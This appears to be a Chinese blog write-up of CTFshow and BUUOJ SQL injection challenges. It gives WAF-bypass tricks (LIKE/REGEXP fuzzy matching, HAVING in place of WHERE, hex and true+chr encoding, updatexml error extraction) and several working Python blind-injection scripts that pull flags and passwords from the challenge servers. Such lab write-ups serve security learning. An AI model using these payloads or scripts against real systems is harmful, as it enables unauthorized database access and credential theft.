CTFSHOW sql注入 正则 模糊匹配

=号过滤绕过

=号和不加通配符的 like 是一样的。
在这里插入图片描述
还可以使用 < >号来绕过,<> 在mysql中等于!= 如果在加一个! 双重否定代表肯定 就是=了
在这里插入图片描述

空格过滤绕过

/**/ ,(),`,tab,两个空格

or and xor not 过滤绕过

and = && or = ||  xor = | #   not = !

1.模糊匹配: 

(1)例题

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

 利用模糊匹配:like就是SQL语句中的操作符,它的作用是指示在SQL语句后面的搜索模式是利用通配符而不是直接相等匹配进行比较%(百分号),_(下划线)就是通配符%表示任何字符出现任意次数(可以是0次),_表示单个字符

'or%0cusername%0clike%0c'%fla%

 (2)例题:题目给了username和sql语句

SELECT * FROM users where username like binary('$username') and password like binary('$password')

利用模糊匹配 爆出passwor

import requests

a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://e151581d-972c-426a-bb7f-015967b84461.challenge.ctf.show/login.php' #需要修改处;
pwd = ''
for i in range(32):
    print('i = '+str(i+1),end='\t')
    for j in a:
        password = pwd + j + (31 - i) * '_'
        data = {'username':'yu22x','password':password}
        r = requests.post(url,data=data)
        if 'wrong' not in r.text:
             pwd += j
             print(pwd)
             break

2.正则匹配盲注

这样输入:tableName=`ctfshow_user`where`pass`regexp'ctfshow'
 
where是并且的意思,也就是限制条件
 
regexp是正则匹配
 
而``这个反引号其实就是声明以下这是个表名或者这是个列名
 
语句的意思是查询ctfshow_user这个表,并且pass这个列的内容是ctfshow

可以看到user_count=1这表示有一个内容匹配上了,进行盲注

import requests
 
url='http://a688781a-293c-4944-badf-662710615fed.challenge.ctf.show/select-waf.php'
 
flagstr='1234567890asdfghjklqwertyuiopzxcvbnm-_{}'
flag='ctfshow{'
 
for i in range(50):
    for x in flagstr:
        data={
            'tableName':f"`ctfshow_user`where`pass`regexp'{flag+x}'"
        }
        res=requests.post(url=url,data=data)
        if res.text.find('user_count = 1;')>0:
            flag+=x
            print('++++++++++++++++++++++++right:   '+x)
            break
        else:
            print('+++++++++++++++++wrong:  '+x)
    print(flag)
 
#ctfshow{68264c64-1246-435b-bc1e-a80326290bb8}

(2)Regexp注入 正则盲注密码:

题目所给语句 :sqlquery : select * from users where username='' and passwd=''

单引号被过滤

username处可以用反斜杠将SQL语句的单引号转义

1.regexp注入可以配合^来从头开始匹配
2.%00作为截断的作用,可以代替注释符#-- -
3.python中可以通过parse.unquote('%00')传递%00字符 
需要调用包:from urllib import parse

4.注意regexp并不区分大小写的,所以脚本只需一组小写字母即可

import requests
from urllib import parse
import string
import time

url='http://8dc98bac-ad25-454a-b809-bfafcc930484.node4.buuoj.cn:81/index.php'

string= string.ascii_lowercase + string.digits + '_'

flag=''

for i in range(100):
    for j in string:

        data={
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')),
            #'passwd':'||/*1*/passwd/*1*/regexp/*1*/"^{}";{}'.format(i,'%00'),
            'username':"\\"
        }
        #print(data)
        res = requests.post(url=url,data=data).text
        #print(res)
        if 'welcome' in res:
            flag+=j
            print(flag)
            #print(res)
            break
        time.sleep(0.1)
    time.sleep(0.1)

3.过滤了一堆,将上一个payload对比下,过滤了where和'   把空格放出来了

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

利用having代替where,前置条件是需要用 group by 

MySQL查询中having语句的使用场景和用法 - 知乎 (zhihu.com)

 盲注脚本:十六进制绕过双引号过滤

import requests
url='http://3d72fc66-90f6-4e34-a083-2171ceb1ea7c.challenge.ctf.show/select-waf.php'
flagstr='1234567890asdfghjklqwertyuiopzxcvbnm-_{}'
flag='ctfshow{'
def shiliu(x):
    st=''
    for i in x:
        st+=str(hex(ord(i)))
    st=st.replace('0x','')
    return '0x'+st
for i in range(50):
    for x in flagstr:
        data={
            'tableName':f"ctfshow_user group by pass having pass regexp({shiliu(flag+x)})"
        }
        res=requests.post(url=url,data=data)
        if res.text.find('$user_count = 1;') > 0:
            flag+=x
            print('+++++++++++++right:    '+x)
            break
        else:
            print('++++++++++++woring:   '+x)
    print(flag)

3. 正则匹配 以及reverse的使用当作截取字符串

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

得到一半flag ,因为right、left、mid等函数均被过滤,因此使用reverse函数

1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

4.on 和 where的区别

MySQL中的内连接、左连接、右连接、全连接、交叉连接

5.  true代替数字,concat+chr代替引号

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }
import string
 
import requests
 
url = 'http://f1c61b07-6b95-4d97-bccb-079eb43846f7.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'
 
 
def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
        return num
 
 
def createStrNum(c):
    str = ''
    str += 'chr(' + createNum(ord(c[0])) + ')'
    for i in c[1:]:
        str += ',chr(' + createNum(ord(i)) + ')'
    return str
 
 
uuid = string.ascii_lowercase + string.digits + "-{}"
 
for i in range(1, 50):
    for j in uuid:
        payload1 = payload.format(createStrNum(flag + j + "%"))
        # print(payload1)
        data = {
            'tableName': payload1
        }
        re = requests.post(url=url, data=data)
        if "$user_count = 0;" not in re.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

El.十一

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值